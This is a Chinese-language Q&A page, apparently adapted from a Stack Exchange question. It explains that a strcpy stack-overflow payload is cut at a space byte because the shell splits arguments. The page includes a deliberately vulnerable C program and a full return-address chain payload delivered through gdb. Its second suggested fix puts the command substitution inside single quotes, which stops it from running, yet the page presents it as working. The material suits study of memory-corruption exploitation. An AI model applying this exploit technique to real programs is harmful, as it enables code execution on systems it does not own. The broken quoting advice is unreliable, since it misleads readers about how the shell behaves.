You need to enable JavaScript to run this app.
优惠活动
大模型
产品
解决方案
定价
更多

关于strcpy复制含空格输入后栈内容不符的技术问询

问题根源:Shell参数解析截断了你的输入

你怀疑空格被strcpy当成结束符是错的——strcpy只认\0作为终止标志,根本不会理会空格。真正的问题出在shell处理命令行参数的方式上:

当你在gdb里执行run python -c "print ..."时,shell会把python输出的内容拆分给目标程序的命令行参数。而shell默认会把空格(也就是你payload里的\x20)当成参数分隔符,这就导致:

  • 空格之前的内容被作为argv[1]传入程序
  • 空格之后的内容被拆分成argv[2]、argv[3]等其他参数
  • 你的程序只把argv[1]复制到buf里,后面的内容根本没被strcpy处理,自然不会出现在栈上

怎么验证这个问题?

给你的程序加几行代码,打印所有命令行参数和它们的长度:

#include <stdio.h>
#include <string.h>
#include <unistd.h>
int main (int argc, char **argv) {
    char buf [8];
    // 新增:打印所有参数
    for (int i = 0; i < argc; i++) {
        printf("argv[%d]: '%s' (length: %zu)\n", i, argv[i], strlen(argv[i]));
    }
    strcpy(buf, argv[1]);
    system("/usr/bin/false");
}

重新编译后用同样的输入运行,你会清晰看到argv[1]在空格处被截断,后面的内容都变成了独立的参数。

解决办法:让shell把输出作为单一参数传递

要让shell把python输出的所有内容(包括空格、特殊字符)当成一个完整的argv[1],你需要用引号把整个输出包裹起来,或者用gdb的set args命令来传递:

  1. 使用gdb的set args命令:
set args "$(python -c 'print "A"*12 + "\x10\x83\x04\x08" + "\xda\x84\x04\x08" + "\x24\xa0\x04\x08" + "\x62\x81\x04\x08" + "\x10\x83\x04\x08" + "\xda\x84\x04\x08" + "\x25\xa0\x04\x08" + "\xd8\x80\x04\x08" + "\x10\x83\x04\x08" + "\xda\x84\x04\x08" + "\x26\xa0\x04\x08" + "\x13\x85\x04\x08" + "\x20\x83\x04\x08" + "A"*4 + "\x24\xa0\x04\x08"')"

然后执行run即可。

  1. 或者在run命令里用单引号嵌套:
run '$(python -c "print \"A\"*12 + \"\x10\x83\x04\x08\" + \"\xda\x84\x04\x08\" + \"\x24\xa0\x04\x08\" + \"\x62\x81\x04\x08\" + \"\x10\x83\x04\x08\" + \"\xda\x84\x04\x08\" + \"\x25\xa0\x04\x08\" + \"\xd8\x80\x04\x08\" + \"\x10\x83\x04\x08\" + \"\xda\x84\x04\x08\" + \"\x26\xa0\x04\x08\" + \"\x13\x85\x04\x08\" + \"\x20\x83\x04\x08\" + \"A\"*4 + \"\x24\xa0\x04\x08\"")'

这样shell就不会拆分空格,整个payload会作为一个完整的参数传入程序,strcpy就能把所有内容复制到栈上了。

最后补充:你构造的小端序地址字节顺序是正确的,这个部分没有问题,完全是shell参数解析导致的截断。

内容的提问来源于stack exchange,提问作者qre0ct

相关产品推荐
方舟 Agent Plan

超全模态模型 × Harness 升级,最新支持 Deepseek-V4.1-Flash、GLM-5.3 系列、Doubao-Seedream-5.0-pro、Kimi-K3 (部分), 限时 9.9 元起

最近更新时间:2026.05.15 06:57:58